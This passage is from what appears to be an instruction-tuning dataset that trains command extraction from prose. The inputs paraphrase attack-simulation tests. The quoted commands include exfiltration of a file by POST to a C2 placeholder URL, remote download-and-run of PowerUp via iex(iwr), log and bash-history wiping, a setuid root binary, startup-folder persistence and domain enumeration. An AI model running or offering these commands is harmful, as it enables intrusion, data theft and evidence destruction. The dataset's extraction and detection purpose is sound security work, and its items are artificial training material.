    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon execution, domain accounts will be enumerated by running these commands which will show their output directly in the PowerShell window: net user /domain\nnet group /domain; You can retrieve detailed user and group information by executing this PowerShell command:\nnet user /domain\nget-localgroupmember -group Users\nget-aduser -filter *",
    "output": "{\"command_list\": [\"net user /domain\\nnet group /domain\\n\", \"net user /domain\\nget-localgroupmember -group Users\\nget-aduser -filter *\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the System domain DNS controller on an endpoint, you can use the following nslookup ldap query, which is often abused by Qakbot malware: nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%.; The process involves copying a payload to a C file, changing ownership, and adjusting permissions with this command sequence: cp #{payload} /tmp/hello.c\nsudo chown root /tmp/hello.c\nsudo make /tmp/hello\nsudo chown root /tmp/hello\nsudo chmod u+s /tmp/hello\n/tmp/hello",
    "output": "{\"command_list\": [\"nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%\\n\", \"cp #{payload} /tmp/hello.c\\nsudo chown root /tmp/hello.c\\nsudo make /tmp/hello\\nsudo chown root /tmp/hello\\nsudo chmod u+s /tmp/hello\\n/tmp/hello\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To overwrite the specified log, which was a technique employed by threat actor Rocke during Linux web server exploitation, use the following command: echo 0> #{log_path}\n; To exfiltrate a file from the victim machine to the C2 server, use the following command: \nif(-not (Test-Path #{filepath})){ \n  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value \"This is line $_.\" }\n}\n[System.Net.ServicePointManager]::Expect100Continue = $false\n$filecontent = Get-Content -Path #{filepath}\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive\n",
    "output": "{\"command_list\": [\"echo 0> #{log_path}\\n\", \"if(-not (Test-Path #{filepath})){ \\n  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value \\\"This is line $_.\\\" }\\n}\\n[System.Net.ServicePointManager]::Expect100Continue = $false\\n$filecontent = Get-Content -Path #{filepath}\\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker might try to deceive a user into running the Microsoft Quick Assist app from the Microsoft Store, which can be done with the following command: Start-Process \"shell:AppsFolder\\\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App\"; To download an ISO file without user interaction, run the following command: & \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\"",
    "output": "{\"command_list\": [\"Start-Process \\\"shell:AppsFolder\\\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App\\\"\", \"& \\\"PathToAtomicsFolder\\\\T1027.006\\\\bin\\\\T1027_006_remote.html\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create an LNK file that launches CMD in the startup folder, use the following command: $Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n\n$Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n. After execution, open File Explorer and navigate to \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\" to verify the shortcut.; To compress files using GZip from Python, run the following command:\nwhich_python=`which python || which python3`\n$which_python -c \"import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();\"",
    "output": "{\"command_list\": [\"$Shell = New-Object -ComObject (\\\"WScript.Shell\\\")\\n$ShortCut = $Shell.CreateShortcut(\\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\T1547.009.lnk\\\")\\n$ShortCut.TargetPath=\\\"cmd.exe\\\"\\n$ShortCut.WorkingDirectory = \\\"C:\\\\Windows\\\\System32\\\";\\n$ShortCut.WindowStyle = 1;\\n$ShortCut.Description = \\\"T1547.009.\\\";\\n$ShortCut.Save()\\n\\n$Shell = New-Object -ComObject (\\\"WScript.Shell\\\")\\n$ShortCut = $Shell.CreateShortcut(\\\"$env:ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\T1547.009.lnk\\\")\\n$ShortCut.TargetPath=\\\"cmd.exe\\\"\\n$ShortCut.WorkingDirectory = \\\"C:\\\\Windows\\\\System32\\\";\\n$ShortCut.WindowStyle = 1;\\n$ShortCut.Description = \\\"T1547.009.\\\";\\n$ShortCut.Save()\\n\", \"which_python=`which python || which python3`\\n$which_python -c \\\"import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For testing AppInit_DLLs functionality, which triggers message boxes when DLLs load, use this registry import command: reg.exe import \"#{registry_file}\"\n. Note this won't work with secure boot enabled.; The bash history can be deleted with the command: rm #{history_path}",
    "output": "{\"command_list\": [\"reg.exe import \\\"#{registry_file}\\\"\\n\", \"rm #{history_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For network share discovery, run the following command in the command prompt, ensuring to update the computer name variable if required: net view \\\\#{computer_name}\n; Available network shares can be displayed in the PowerShell session by executing this command: get-smbshare",
